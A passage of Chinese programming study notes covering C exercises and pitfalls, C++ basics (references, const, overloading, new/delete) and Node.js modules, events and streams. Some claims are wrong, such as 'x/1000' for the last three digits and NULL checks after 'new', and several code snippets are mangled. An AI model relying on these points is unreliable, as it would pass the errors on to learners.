if (n == 0)
return;
else
{
int m = n % 2;
push(m);
tenTobinary(n/2);
}
}
int main()
{
int a[10];
int i;
for (i = 0; i < 10; i++)
{
a[i] = i + 1;
}
for (i = 0; i < 10; i++)
push(a[i]);
while (!isempty())
{
printf("%d\n",pop());
}
tenTobinary(100);
while (!isempty())
{
printf("%d", pop());
}
printf("\n");
return 0;
}
#include<stdio.h>
#include<malloc.h>
#define MAXSIZE 100
typedef char dataType;
typedef struct bnode
{
dataType data;
struct bnode *lChild, *rChild;
}Bnode,*BTree;
typedef struct
{
BTree data[MAXSIZE];
int front, rear;
}SeQuence,*PSeqQueue;
BTree createTree()
{
BTree tree;
dataType str;
str = getchar();
if (str == '#')
tree = NULL;
else
{
tree = (BTree)malloc(sizeof(Bnode));
tree->data = str;
tree->lChild = createTree();
tree->rChild = createTree();
}
return tree;
}
void visit(char ch)
{
printf("%c \t",ch);
}
void preOrder(BTree tree)
{
BTree p = tree;
if (tree == NULL)
return;
visit(p->data);
preOrder(p->lChild);
preOrder(p->rChild);
}
void inOrder(BTree tree)
{
BTree p = tree;
if (tree == NULL)
return;
inOrder(p->lChild);
visit(p->data);
inOrder(p->rChild);
}
void postOrder(BTree tree)
{
BTree p = tree;
if (tree == NULL)
return;
postOrder(p->lChild);
postOrder(p->rChild);
visit(p->data);
}
PSeqQueue initSeqQueue()
{
PSeqQueue queue;
queue = (PSeqQueue)malloc(sizeof(SeQuence));
if (queue)
{
queue->front = queue->rear = 0;
}
return queue;
}
int emptyQueue(PSeqQueue queue)
{
if (queue&&queue->front == queue->rear)
return 1;
else
return 0;
}
int pushQueue(PSeqQueue queue, Bnode *node)
{
if ((queue->rear + 1) % MAXSIZE == queue->front)
return -1;
else
{
queue->rear = (queue->rear + 1) % MAXSIZE;
queue->data[queue->rear] = node;
return 1;
}
}
int popQueue(PSeqQueue queue, BTree *node)
{
if (emptyQueue(queue))
{
return -1;
}
else
{
queue->front = (queue->front + 1) % MAXSIZE;
*node = queue->data[queue->front];
return 1;
}
}
void destryQueue(PSeqQueue *queue)
{
if (*queue)
{
free(*queue);
*queue = NULL;
}
}
void levelOrder(BTree tree)
{
BTree p = tree;
PSeqQueue queue = initSeqQueue();
if (p)
{
pushQueue(queue,p);
while (!emptyQueue(queue))
{
popQueue(queue,&p);
visit(p->data);
if(p->lChild)
pushQueue(queue, p->lChild);
if (p->rChild)
pushQueue(queue, p->rChild);
}
}
}
int height(BTree tree)
{
int h1, h2;
if (tree == NULL)
return 0;
else
{
h1 = height(tree->lChild);
h2 = height(tree->rChild);
if (h1 > h2)
return h1 + 1;
else
return h2 + 1;
}
}
void levelCount(BTree tree,int num[],int l)
{
if (tree)
{
num[l]++;
levelCount(tree->lChild, num, l + 1);
levelCount(tree->rChild, num, l + 1);
}
}
int countTree(BTree tree)
{
int lCount, rCount;
if (tree == NULL)
return 0;
lCount = countTree(tree->lChild);
rCount = countTree(tree->rChild);
return lCount + rCount + 1;
}
int main()
{
BTree tree = createTree();
int i = 0;
int countNum[10] = { 0,0,0,0,0,0,0,0,0,0 }, l = 1, treeHeight, treeCount;//记录每层的节点数,l从1开始,树的深度
treeHeight = height(tree);
printf("\n此二叉树的深度为: %d\n", treeHeight);
treeCount = countTree(tree);
printf("此二叉树的节点总数为: %d\n", treeCount);
levelCount(tree, countNum, l);
printf("此二叉树各层的节点数为: ");
for (i = 1; i <= treeHeight; i++) {
printf("第%d层数目: %d, ", i, countNum[i]);
}
printf("\n\n");
printf("先序遍历此二叉树: ");
preOrder(tree);
printf("\n");
printf("中序遍历此二叉树: ");
inOrder(tree);
printf("\n");
printf("后序遍历此二叉树: ");
postOrder(tree);
printf("\n");
printf("层次遍历此二叉树: ");
levelOrder(tree);
printf("\n");
return 0;
}
二维数组某位置上的元素在该行上最大,该列上最小
#include<stdio.h>
int main()
{
int a[4][5];
int i, j, k, m;
for (i = 0; i < 4; i++)
for (j = 0; j < 5; j++)
scanf("%d",&a[i][j]);
for (i = 0; i < 4; i++)
{
for (j = 0; j < 5; j++)
{
//扫描行,确定行中最大值
for (k = 0; k < 5; k++)
{
if (a[i][j] < a[i][k])
{
break;
}
}
if (k == 5)
{
//扫描列,确定列中最小值
for (m = 0; m < 4; m++)
{
if (a[i][j] > a[m][j])
break;
}
if (m == 4)
printf("满足值:%d ",a[i][j]);
}
}
}
return 0;
}
/*
对这个字符串从头到尾遍历,在迭代器i遍历字符串的过程中,遇到不是空格,就是遇到单词,
i开始计算,通过对当前最大值max的对比,最终求出一个最长的单词。同时记录这个单词,
最后的一个字母的位置,而这个最大值max就是这个单词的长度。可以倒着输出,
字符串中的第p-max到第p个字母就是这个最长的单词。
*/
//输出一行字符串中的最长单词及其位置
#include<stdio.h>
int main()
{
int word_length = 0, word_max=0;
printf("请输入一个字符串:");
char s[20];
gets_s(s);
int i,p;//这个p是用来记录最长单词的位置
for (i = 0; s[i] != '\0'; i++)
{
if (s[i] == ' ')//扫到空格,则结算是否为最长的单词
{
if (word_length > word_max)
{
word_max = word_length;
p = i;
}
word_length = 0;
}
else//如果i扫到的不是空格,那么开始计算单词的长度
word_length++;
}
if (word_length > word_max)//此乃用于最长的单词在结尾的情况
{
word_max = word_length;
p = i;
}
printf("最长单词的位置:%d\n",p-word_max+1);
char longest[100];
for (p = p - word_max, i = 0; word_max > 0; word_max--,p++, i++)
longest[i] = s[p];
longest[i] = '\0';
printf("The longest word is %s\n", longest);
return 0;
}
/*
海滩上有一堆桃子,五只猴子来分。第一只猴子把这堆桃子凭据分为五份,多了一个,
这只猴子把多的一个扔入海中,拿走了一份。第二只猴子把剩下的桃子又平均分成五份,又多了一个,
它同样把多的一个扔入海中,拿走了一份,第三、第四、第五只猴子都是这样做的,问海滩上原来最少有多少个桃子?
*/
//递归
#include<stdio.h>
int divided(int n, int m)
{
//不足5个或不能分5份多1个,分配失败
if (n / 5 == 0 || n % 5 != 1)
return 0;
//分到最后一个猴子,说明能分配成功
if (m == 1)
return 1;
return divided(n-n/5-1,m-1);
}
int main()
{
int n;
int m = 5;
for (n = 1;; n++)
{
if (divided(n, m))
{
printf("%d\n",n);
break;
}
}
return 0;
}
//猴子分桃问题
#include<stdio.h>
int main()
{
int i,num,k;
for (i = 6;; i += 5) //对所有能分成5份的进行试探
{
num = i;
//5个猴子做同样分挑操作
for (k = 0; k < 5; k++)
{
if (num / 5 == 0 || num % 5 != 1)
break; /*如果剩余的桃子分不成5份或者分成5份后不会正好多余1个桃子,则说明分桃过程进行不下去了,结束分桃*/
num = num - num / 5 - 1; /* 如果分桃过程能进行下去,拿走一份,扔掉1个,下一个猴子继续分桃*/
}
if (k >= 5)
{
break;/*如果上面的循环顺利结束,说明分桃顺利结束,找到了符合条件的最小桃子数,返回*/
}
}
printf("最少桃树为:%d\n",i);
}
/*还有一种逆向求解的方法,探试的次数要少一点*/
#include<stdio.h>
int MinNum()
{
int i, j, num;
for (i = 6;; i += 5)
{
num = i;
for (j = 5; j > 1; j--)
{
if (num % 4)
break;
num = num + num / 4 + 1;
}
if (j <= 1)
return num;
}
}
int main()
{
printf("最少桃子数为:%d\n", MinNum());
return 0;
}
>文件指针是指针类型的变量
>文件指针是指针变量,存储的是文件缓存首地址,而不是文本在计算机磁盘中的路径信息
>b=a>>2后,a还是a,只是b变
>注意数组陷阱:a[5]={9,1,3,4};还有一个元素0
>sizeof与strlen
//指针是固定的4字节
CHAR *A = "SA";
SIZEOF(A)=4;
//如果数组[]没数字,SIZOEF根据后面的字符串长度来算,如果有数字,直接是数字值
CHAR A[] = "ADSASD";
SIZEOF(A) = 7;
>转义符
char *str1 = "asd\0sa";
char *str1 = "ad\0阿斯达";
puts(str1); //ad
//分析:\0后面是字符/汉字,而不是数字,不能表示八进制数,直接推出,输出ad
/*char *str2 = "ad\0125456";
puts(str2);*/ //ad换一行(\n)5456
//分析:\0后面两位与\0表示八进制数,则八进制12对应十进制10即\n;
char *str2 = "ad\085456";
puts(str2); //ad
//分析:\0后面第一位直接是8,超过8进制范围,直接结束,此时只输出ad
//char *str3 = "ad\xgsdd";//编译器报错,无法运行,\x后面的g超出十六进制范围
//char *str3 = "ad\x1112"; //有\x则对后面所有数字组合成十六进制进行转化,而1112转化为十进制4370,会报"对字符来说太大"错误
char *str3 = "ad\x9\05"; //\x9对应制表符
printf("%d", strlen(str3));//strlen,不算末尾的\0,4个字符长 a d 十六进制\x9--对应十进制9即制表符\t 八进制\05对应5对应梅花
puts(str3);
//\x与\0一点不同之处在于,当\x后面跟的数字不符合十六进制,则会报错,因为\x不会像\0那样,\0是字符串结束标记,
//后面跟的数字即使不符合结束标记,它也不会报错,此时会直接作为字符串结束标记,结束字符串,而\x后面必须跟合法的十六
//进制数,否则直接报错。
char *str4 = "\t\017\0qw";
printf("%s", str4);
printf("\n%d\n", strlen(str4)); //2个分别是制表符\t与八进制\017对应的十进制15即太阳,共两个字符
char *str5 = "\ta\017bc";
printf("\n%d,%d\n", strlen(str5), sizeof(str5)); //5 4 5个字符分别是\t a \017 b c
>数字正反序
//正序输出 8765
int n,t,s=1,x=0;
while(n)
{
t=n%10;
x+=t*s;
s*=10;
n/=10;
}
//逆序输出5678
int n,t,x=0;
while(n)
{
t=n%10;
x=x*10+t;
n/=10;
}
> 求最后三位
x=x/1000;
>一维与二维数组对比
char *s[] = {"c language","pascal","masm"};
printf("%s\n",s[1]+2); //输出---scal
printf("%c\n",s[1][2]);//或printf("%c",*(s[1]+2)); //输出s
>基本数据类型分类
整型、字符型、浮点型(实型)
>函数
自定义函数、标准库函数
>优先级
int a = 1,b = 2, c = 0;
printf("%d", a || b&&c); //1,&&优先级高于||优先级
括号成员第一
全体单目第二
&乘除余三 //这个"余"是指取余运算即%
加减四
移位五
关系六
等于不等排第七
位与异或和位或三分天下八九十
逻辑与十一
逻辑或十二
条件(十三、?:)高于赋值(十四=)
逗号运算级最低!
例:
int i = 1 << 1 + 1;
printf("%d",i); //4---+-优先级排四,位移五
参考链接:http://blog.csdn.net/qq_24754061/article/details/72780229

c++初识¶
- c++新特性
- c++输入输出
- c++之namespace
- 综合练习
1.c++新特性¶
新的数据类型:c中没有bool型,而c++有
新的初始化方式:c中只可以复制初始化(int x=100),而c++除此之外还可以直接初始化( int x(100) )
随用随定义:c要在最开始定义所有变量,而c++要用的时候定义就可以了
2.c++输入输出¶
#include <iostream>
using namespace std;
int main(int argc, char* argv[])
{
cout << "请输入一个整数:" << endl;
int x = 0;
cin >> x;
cout << oct << x << endl; //八进制
cout << dec << x << endl; //十进制
cout << hex << x << endl; //十六进制
cout << "请输入一个布尔值(0、1):" << endl;
bool y = false;
cin >> y;
cout << boolalpha << y << endl; //打印出布尔类型 true/false
return 0;
}
3.c++之namespace¶
- 1、概念:划片取名字,每个命名空间下可再细分名字以方便引用
- 2、设定命名空间的原因:解决重名问题
- 3、定义命名空间的方法:
c++ namespace A{int x=0; void f1();} namespace B{int x=2; void f1();}
- 4.引用命名空间的相关变量函数
c++ cout<<A::x<<endl; B::f1()
- 5.实例
#include <stdlib.h>
#include <iostream>
using namespace std;
namespace A
{
int x = 1;
void fun()
{
cout << "A" <<endl;
}
}
namespace B
{
int x = 2;
void fun()
{
cout << "B" <<endl;
}
void fun2()
{
cout << "B-fun2" <<endl;
}
}
using namespace B;
int main(int argc, char * argv[])
{
cout << A::x << endl;
B::fun();
fun2();
return 0;
}
4.综合练习¶
- 获取数组中的最大值最小值
#include<iostream>
using namespace std;
namespace Acompany
{
int getMaxOrMin(int *arr, int count, bool isMax)
{
int temp = arr[0];
for (int i = 1; i < count; i++)
{
if(isMax) {
if (temp < arr[i])
temp = arr[i];
}
else
{
if (temp > arr[i])
temp = arr[i];
}
}
return temp;
}
}
int main(int argv, char* argc[])
{
int arr[4] = {9,1,3,7};
bool isMax = true;
int val = Acompany::getMaxOrMin(arr, 4, isMax);
if(isMax)
{
cout << val << "是最大值" << endl;
}
else
{
cout << val << "是最小值" << endl;
}
return 0;
}

c++引用¶
1.基本数据类型的引用¶
- 原型:
int &b = a;
c++ #include<iostream> using namespace std; //基本数据类型的引用 int main(int argc, char const *argv[]) { /* code */ int a = 3; int &b = a; b = 10; cout << a << endl; //10 system("pause"); return 0; }
## 2.结构体的引用
- 原型: 结构体类型 &结构体引用名 = 结构体变量
c++ #include <iostream> using namespace std; typedef struct { int x; int y; }Coor; int main(int argc, char const *argv[]) { /* code */ Coor c1; Coor &c = c1; // 别名 c.x = 10; c.y = 20; cout << c1.x << endl <<c1.y << endl; system("pause"); return 0; }
## 3.指针引用
- 原型: 类型 *&指针引用名 = 指针
c++ #include<iostream> using namespace std; /* 指针别名: 类型 *&指针引用名 = 指针 */ int main(int argc, char const *argv[]) { /* code */ int a = 10; int *p = &a; cout << *p << endl; int *&q = p; // 指针别名 *q = 20; cout << a << endl; system("pause"); return 0; }
4.引用做函数参数¶
- 原始方式函数定义及调用
c++ #include using namespace std; void fun(int *a, int *\ b) { int c = 0; c = *a; *\ a = *b; *\ b = c; } int main(int argc, char const *argv[]) { /* code \*/ int x = 10,y = 20; fun(&x,&y); cout << x << endl << y << endl; system("pause"); return 0; }
- 引用做函数参数定义及调用
- 原型:
void fun(int &a, int &b)
fun(x,y)
c++ #include<iostream> using namespace std; void fun(int &a, int &b) { int c = 0; c = a; a = b; b = c; } int main(int argc, char const *argv[]) { /* code */ int x = 10,y = 20; fun(x,y);//调用时候 a是x的别名,b是y的别名,对别名操作就是对x,y操作。 cout << x << endl << y << endl; system("pause"); return 0; }

c++之const¶
1.const与基本数据类型¶
- 加上const后,变量变为常量,不可修改
c++ const int x = 3; //常量
上述代码与宏定义#define x =3;
作用相同,区别点在于:const修饰会在执行时候提示报错,而宏定义不会。
2.const与指针类型¶
2.1 对比等价¶
c++ 1.const int *p = NULL; 2.int const *p = NULL; 3.int * const p = NULL; 1与2完全等价,3则与前两个不等价 4.const int * const p = NULL; 5.int const * const p = NULL; 4与5也完全等价
### 2.2 查看错误
- 第一种
c++ int x = 3; const int *p = &x; p = &y; //正确 *p = 4; //错误
原因:
上述const
修饰的是*p
,也就是*p
不能修改,p
可以修改。
- 第二种
c++ int x = 3; int * const p = &x; p = &y; //错误 *p = 4; //正确
原因:
上述const
修饰的是p
,也就是p
不能修改,*p
可以修改。
- 第三种
c++ const int x = 3; const int * const p = &x; p = &y; //错误 *p = 4; //错误
原因: 上述const
修饰的是*p
与p
,两者均不能修改。
3.const与引用¶
c++ int x = 3; const int &y = x; x = 10; //正确 y = 20; //错误
原因:
const修饰的是&y,对x修改可以,但对y不能修改。

c++之函数特性及内存管理¶
一、c++之函数特性¶
1.函数参数默认值¶
c++ void fun(int i, int j=5, int k=10); //正确 void fun(int i, int j=5, int k); //错误
有默认参数值的参数必须放在参数表的最右端
c++ void fun(int i, int j=5, int k=10); //声明 void fun(int i, int j, int k) //定义 { cout<<i<<j<<k; }
声明给默认值,定义不给默认值,采用这种方式,则所有编译器都可以通过,如果在定义时候加上默认值,部分编译器通不过!
声明和定义的i,j,k可以不一样,可以换成其他字母,比如:
c++ void fun(int i, int j=5, int k=10);//声明 void fun(int a, int b, int c) //定义 { cout<<a<<b<<c; }
c++ int main() { fun(20); fun(20,30); fun(20,30,40); return 0; }
无实参则用默认值,否则实参覆盖默认值。
2.函数重载¶
在相同作用域内,用同意函数名定义的多个函数,参数个数和参数类型不同。
c++ int getMax(int x, int y, int z) { //to do } double getMax(double x, double y) { //to do }
编译器如何区别重载函数:
如果函数名称相同,参数不同,则会形成函数名_参数的新函数getMax_int_int_int域getMax_double_double来区分同名函数。
重载带来的好处: 比如求最大值,根据求2个最大值,3个最大值,…到n个最大值,可以用同一个函数名,通过重载方式解决。
- 示例
c++ #include<iostream> using namespace std; void fun(int i, int j=10, int k=20); void fun(double i, double j); void fun(int i, int j, int k) { cout<<i<<','<<j<<','<<k<<endl; } void fun(double i, double j){ cout<<i<<','<<j<<endl; } int main(int argc, char const *argv[]) { /* code */ fun(5); fun(6.1,5.2); system("pause"); return 0; }
以上例子,函数在调用时候会自动选择相应的函数。
3.内联函数¶
编译时将函数体代码和实参替代函数调用语句
内联函数关键字:inline
c++ inline int max(int a, int b, int c){ //to do }
为什么不所有函数都使用内联方式呢?
- 内联编译是建议性的,由编译器决定。
- 逻辑简单(无for、while等),调用频繁的函数建议使用内联。
- 递归函数无法使用内联方式
- 示例
inline fun(int i, int j=10, int k=20);
inline fun(double i, double j);
inline fun(int i, int j, int k) {
cout<<i<<','<<j<<','<<k<<endl;
}
inline fun(double i, double j){
cout<<i<<','<<j<<endl;
}
二、c++之内存管理¶
3.申请和释放内存的方法¶
- 申请内存:
int *p = new int;
- 释放内存:
delete p;
4.如何申请和释放块内存呢?¶
- 申请块内存:
int *arr = new int [10]
- 释放块内存:
delete []arr;
5.内存操作注意事项¶
new 与 delete必须配套使用
申请完内存必须释放
申请内存完,不一定成功
c++ int *p = new int[1000]; if(NULL==p) { //内存分配失败 }
###
6.释放内存需要注意什么?
释放完指针后,要将指针变为空。
- 第一种
c++ int *p = new int; if(NULL == p) { //内存分配失败 //异常处理 } delete p; p = NULL;
- 第二种:块内存
c++ int *p = new int[1000]; if(NULL == p) { //内存分配失败 //异常处理 } delete []p; p = NULL;
7.示例¶
c++ #include<iostream> using namespace std; int main(int argc, char const *argv[]) { /* code */ int *p = new int(30); if(NULL == p) { system("pause"); return 0; } //*p =20; cout<<*p<<endl; delete p; p=NULL; system("pause"); return 0; }
上述两种方式初始化赋值:
c++ //第一种: int *p = new int(30); //第二种: int *p = new int; *p =20;
如果要申请块内存:
c++ #include<iostream> using namespace std; int main(int argc, char const *argv[]) { /* code */ int *p = new int[1000]; if(NULL == p) { system("pause"); return 0; } p[0] = 10; p[1] = 20; cout<<p[0]<<","<<p[1]<<endl; delete []p; p=NULL; system("pause"); return 0;}
第二节:NodeJs系列¶
这一节介绍的是NodeJs系列,包括NodeJs的基础内容及模块等,更多内容,待更新…
Node.Js初识¶
1.HelloWorld程序¶
const http = require('http');
const hostname = '127.0.0.1';
const port = 3000;
// 调用http的createServer回调函数,用于处理请求与响应
const server = http.createServer((req, res) => {
res.statusCode = 200;
res.setHeader('Content-Type', 'text/plain');
res.end('Hello World\n');
});
//调用listen回调函数用于监听本机端口,最后浏览器便可以访问到,并呈现出Hello World
server.listen(port, hostname, () => {
console.log(`Server running at http://${hostname}:${port}/`);
});
2.模块流程¶
创建模块
teacher.js
导出模块
exports.add = function() {}
加载模块
var teacher = require('./teacher.js')
使用模块
teacher.add('xxx')
3.一个模块练习实例¶
//项目目录
school
-teacher.js
-student.js
-class.js
-school.js
-index.js
teacher.js
function add(teacher) {
console.log('Add teacher:' + teacher)
}
exports.add = add
student.js
function add(student) {
console.log('Add student:' + student)
}
exports.add = add
class.js
var student = require('./student')
var teacher = require('./teacher')
function add(teacherName, students) {
teacher.add(teacherName)
students.forEach(function(item, index) {
student.add(item)
})
}
exports.add = add
// module.exports.add = add
school.js
//此处名不能为class,会报错
var klass = require('./class')
exports.add = function(classes) {
console.log('-------本学校的班级信息如下-------')
classes.forEach(function(item, index) {
var teacherName = item[0]
var students = item[1]
console.log('class' + (index+1))
klass.add(teacherName, students)
})
}
index.js
var school = require('./school')
school.add([['美',['白富美','白美']],['富',['高富帅','帅气']]])
output

4.回调函数学习¶
// 回调函数学习
function learn(something) {
console.log(something)
}
function we(callback,something) {
something += ' is cool'
callback(something)
}
传递具名函数
we(learn, 'NodeJs')
传递匿名函数
we(function(something) {
console.log(something)
},'Python')
5.作用域、上下文¶
作用域
var globalVariable = 'This is global variable'
function globalFunction() {
var localVariable = 'This is local variable'
console.log('Visit global/local variable')
console.log(globalVariable)
console.log(localVariable)
globalVariable = 'This is changed variable'
console.log(globalVariable)
function localFunction() {
var innerLocalVariable = 'This is inner local variable'
console.log('Visit global/local/innerLocal variable')
console.log(globalVariable)
console.log(localVariable)
console.log(innerLocalVariable)
}
localFunction()
}
globalFunction()
上下文(this指代对象详解)
// learn1example
// 通常把拥有者称为上下文(如下面的pet),this指向函数拥有者
// var pet = {
// words: '...',
// speak: function() {
// console.log(this.words) // ...
// console.log(this === pet) // true
// }
// }
// pet.speak()
// function pet(words) {
// this.words = words
// console.log(this.words) // ...
// console.log(this === global)// 指向顶层的global对象 true
// }
// pet('...')
function Pet(words) {
this.words = words
this.speak = function() {
console.log(this.words)
console.log(this)
}
}
var cat = new Pet('Miao')
/*
Miao
Pet { words: 'Miao', speak: [Function] }
此时的this所指向的对象是此处的cat
*/
cat.speak()
var pet = {
words: '...',
speak: function(say) {
console.log(say + ' ' + this.words)
}
}
var dog = {
words: 'Wang'
}
// call方法让本来speak指向pet,现在指向了dog,让dog拥有了speak
pet.speak.call(dog,'Speak') // Speak
// learn2example
function Pet(words) {
this.words = words
this.speak = function() {
console.log(this.words)
}
}
function Dog(words) {
Pet.call(this,words)
// Pet.apply(this, arguments)
}
var dog = new Dog('Wang')
dog.speak() // Wang
6.同步与异步¶
同步模式
var i =0
while(true) {
i++
}
//或者如下
var c = 0
function printIt() {
console.log(c)
}
function plus() {
c += 1
}
plus()
printIt()
异步模式
var c = 0
function printIt() {
console.log(c)
}
function plus(callback) {
setTimeout(function() {
c += 1
callback()
}, 1000)
}
plus(printIt)
7.事件¶
var EventEmitter = require('events').EventEmitter
var life = new EventEmitter()
life.setMaxListeners(11)
life.on('求安慰', function(who) {
console.log('给' + who + '揉脚')
})
life.on('求安慰', function(who) {
console.log('给' + who + '洗衣')
})
life.on('求安慰', function(who) {
console.log('给' + who + '做饭')
})
life.on('求安慰', function(who) {
console.log('给' + who + '5')
})
life.on('求安慰', function(who) {
console.log('给' + who + '6')
})
life.on('求安慰', function(who) {
console.log('给' + who + '7')
})
life.on('求安慰', function(who) {
console.log('给' + who + '8')
})
life.on('求安慰', function(who) {
console.log('给' + who + '9')
})
life.on('求安慰', function(who) {
console.log('给' + who + '10')
})
life.on('求安慰', function(who) {
console.log('给' + who + '你想累死我啊。。。')
})
life.on('求溺爱', function(who) {
console.log('给' + who + '交工资')
})
life.on('求溺爱', function(who) {
console.log('给' + who + '买衣服')
})
/*---删除监听事件开始---*/
function water(who) {
console.log('给' + who + '倒水')
}
life.on('求安慰', water)
//单个移除
life.removeListener('求安慰', water)
//下面方法不传参,会移除所有事件监听,传参,只会移除某一类的事件函数
life.removeAllListeners('求安慰')
/*---删除监听事件结束---*/
// var hasConforListener = life.emit('求安慰','汉子')
// var hasLoveListener = life.emit('求溺爱','妹子')
// var hasPlayListener = life.emit('求玩坏','汉子')
// console.log(hasConforListener)
// console.log(hasLoveListener)
// console.log(hasPlayListener)
//打印监听事件个数
console.log(life.listeners('求安慰').length)
console.log(EventEmitter.listenerCount(life,'求安慰'))
8.stream
流¶
文件读写
var fs = require('fs')
var source = fs.readFileSync('./image_base.jpg')
fs.writeFileSync('stream_copy_logo.png',source)
读写流控制
var fs = require('fs')
var readStream = fs.createReadStream('1.mp4')
var writeStream = fs.createWriteStream('1-stream.mp4')
readStream
.on('data', function(chunk) {
// 防爆仓
if (writeStream.write(chunk) === false) {
console.log('still cached')
readStream.pause()
}
})
.on('end', function() {
writeStream.end()
})
writeStream.on('drain',function() {
console.log('data drains')
readStream.resume()
})
pipe()
使用
/*--------示例1--------*/
var http = require('http')
var fs = require('fs')
var request = require('request')
http.
createServer(function(req, res) {
// fs.readFile('image_base.jpg', function(err, data) {
// if (err) {
// res.end('file not existe!')
// }
// else {
// res.writeHead(200, {'Context-Type': 'text/html'})
// res.end(data)
// }
// })
//fs.createReadStream('image_base.jpg').pipe(res)
request('https://www.imooc.com/static/img/index/logo.png').pipe(res)
})
.listen(8090)
/*--------示例2--------*/
var fs = require('fs')
fs.createReadStream('1.mp4').pipe(fs.createWriteStream('1-pipe.mp4'))
/*--------示例3--------*/
var fs = require('fs')
var readStream = fs.createReadStream('stream_copy.js')
var n =0
readStream
.on('data', function(chunk) {
n++
console.log('data emits')
console.log(Buffer.isBuffer(chunk))
//console.log(chunk.toString('utf8'))
readStream.pause()
console.log('data pause')
setTimeout(function() {
console.log('data pause end')
readStream.resume()
}, 3000)
})
.on('readable', function() {
console.log('data readable')
})
.on('end', function() {
console.log(n)
console.log('data ends')
})
.on('close', function() {
console.log('data close')
})
.on('error', function(e) {
console.log('data read error' + e)
})
Readable
与Writable
,把Readable流用管道输送到Writable流
var Readable = require('stream').Readable
var Writable = require('stream').Writable
var readStream = new Readable()
var writeStream = new Writable()
readStream.push('I')
readStream.push('Love')
readStream.push('Immoc\n')
readStream.push(null)
//writeStream._write是定义在writeStream下的一个私有方法,一般私有方法都已下划线开头的
writeStream._write = function(chunk, encode, cb) {
console.log(chunk.toString())
cb()
}
readStream.pipe(writeStream)
TransformStream
与继承
/*
util模块提供了util.inherits()方法来允许你
创建一个继承另一个对象的prototype(原形)方法的对象。
当创建一个新对象时,prototype方法自动被使用。
*/
var stream = require('stream')
var util = require('util')
//ReadStream
function ReadStream() {
stream.Readable.call(this)
}
//继承
util.inherits(ReadStream, stream.Readable)
//重写
ReadStream.prototype._read = function() {
this.push('I')
this.push('Love')
this.push('Immoc\n')
this.push(null)
}
//
function WritStream() {
stream.Writable.call(this)
this._cached = new Buffer('')
}
util.inherits(WritStream, stream.Writable)
WritStream.prototype._write = function(chunk, encode, cb) {
console.log(chunk.toString())
cb()
}
function TransformStream() {
stream.Transform.call(this)
}
util.inherits(TransformStream, stream.Transform)
TransformStream.prototype._transform = function(chunk, encode, cb) {
this.push(chunk)
cb()
}
TransformStream.prototype._flush = function(cb) {
this.push('Oh Yeah!')
cb()
}
var rs = new ReadStream()
var ws = new WritStream()
var ts = new TransformStream()
//pipe()把Readable流用管道输送到Transform流再输送到Writable流
rs.pipe(ts).pipe(ws)
NodeJs模块¶
1.Url模块¶
查看Url构成
url.parse('http://www.baidu.com:7/assa/s=12?from=123&a=node#12')
// output
Url {
protocol: 'http:',
slashes: true,
auth: null,
host: 'www.baidu.com:7',
port: '7',
hostname: 'www.baidu.com',
hash: '#12',
search: '?from=123&a=node',
query: 'from=123&a=node',
pathname: '/assa/s=12',
path: '/assa/s=12?from=123&a=node',
href: 'http://www.baidu.com:7/assa/s=12?from=123&a=node#12' }
生成一个url
url.format({ protocol: 'http:', slashes: true, auth: null, host: 'www.baidu.com:7', port: '7', hostname: 'www.baidu.com', hash: '#12', search: '?from=123&a=node', query: 'from=123&a=node',
pathname: '/assa/s=12', path: '/assa/s=12?from=123&a=node', href: 'http://www.baidu.com:7/assa/s=12?from=123&a=node#12' })
'http://www.baidu.com:7/assa/s=12?from=123&a=node#12'
为URL或 href 插入 或 替换原有的标签
> url.resolve('/one/two/three', 'four')
'/one/two/four'
> url.resolve('/one/two/three', '/four')
'/four'
> url.resolve('http://www.as.com/one/two','/four')
'http://www.as.com/four'
> url.resolve('http://www.as.com/one/two','four')
'http://www.as.com/one/four'
\`url.parse(urlString[, parseQueryString[, slashesDenoteHost]])\`\`
//对于想把query也即查询条件变为字典格式的,则需要设定第二个参数为true
> url.parse('http://www.baidu.com:7/assa/s=12?from=123&a=node#12')
Url {
protocol: 'http:',
slashes: true,
auth: null,
host: 'www.baidu.com:7',
port: '7',
hostname: 'www.baidu.com',
hash: '#12',
search: '?from=123&a=node',
query: 'from=123&a=node',
pathname: '/assa/s=12',
path: '/assa/s=12?from=123&a=node',
href: 'http://www.baidu.com:7/assa/s=12?from=123&a=node#12' }
> url.parse('http://www.baidu.com:7/assa/s=12?from=123&a=node#12',true)
Url {
protocol: 'http:',
slashes: true,
auth: null,
host: 'www.baidu.com:7',
port: '7',
hostname: 'www.baidu.com',
hash: '#12',
search: '?from=123&a=node',
query: { from: '123', a: 'node' },
pathname: '/assa/s=12',
path: '/assa/s=12?from=123&a=node',
href: 'http://www.baidu.com:7/assa/s=12?from=123&a=node#12' }
//对于不清楚http还是https等协议的url,想要解析出host/hostname等就需要追加最后一个参数为true
> url.parse('//imca/learn/node',true)
Url {
protocol: null,
slashes: null,
auth: null,
host: null,
port: null,
hostname: null,
hash: null,
search: '',
query: {},
pathname: '//imca/learn/node',
path: '//imca/learn/node',
href: '//imca/learn/node' }
> url.parse('//imca/learn/node',true,true)
Url {
protocol: null,
slashes: true,
auth: null,
host: 'imca',
port: null,
hostname: 'imca',
hash: null,
search: '',
query: {},
pathname: '/learn/node',
path: '/learn/node',
href: '//imca/learn/node' }
2.querystring模块¶
querystring序列化
第一个参数:字典
> querystring.stringify({name:'gx',course:['a','b'],from:''})
'name=gx&course=a&course=b&from='
第二个参数:连接符
> querystring.stringify({name:'gx',course:['a','b'],from:''},',')
'name=gx,course=a,course=b,from='
第三个参数:将默认的=号替换成相应的字符
> querystring.stringify({name:'gx',course:['a','b'],from:''},',',':')
'name:gx,course:a,course:b,from:'
最后一个参数options,options(可省)传入一个对象,该对象可设置encodeURIComponent这个属性:encodeURIComponent:值的类型为function,可以将一个不安全的url字符串转换成百分比的形式,默认值为querystring.escape()。
querystring反序列化
querystring.stringify(obj,separator,eq,options)
> querystring.parse('name=gx&course=a&course=b&from=')
{ name: 'gx', course: [ 'a', 'b' ], from: '' }
> querystring.parse('name=gx,course=a,course=b,from=',',')
{ name: 'gx', course: [ 'a', 'b' ], from: '' }
> querystring.parse('name:gx,course:a,course:b,from:',',',':')
{ name: 'gx', course: [ 'a', 'b' ], from: '' }
最后一个参数options,可设置最多key,以字典形式传入
>querystring.parse('name:gx,course:a,course:b,from:',',',':',{maxKeys:2})
{ name: 'gx', course: 'a' }
escape对字符串进行编码
> querystring.escape('哈哈')
'%E5%93%88%E5%93%88'
> querystring.unescape('%E5%93%88%E5%93%88')
'哈哈'
3.补充¶
http协议
http客户端发起请求,创建端口
http服务器在端口监听客户端请求
http服务器向客户端返回状态和内容
4.cheerio(爬虫模块)¶
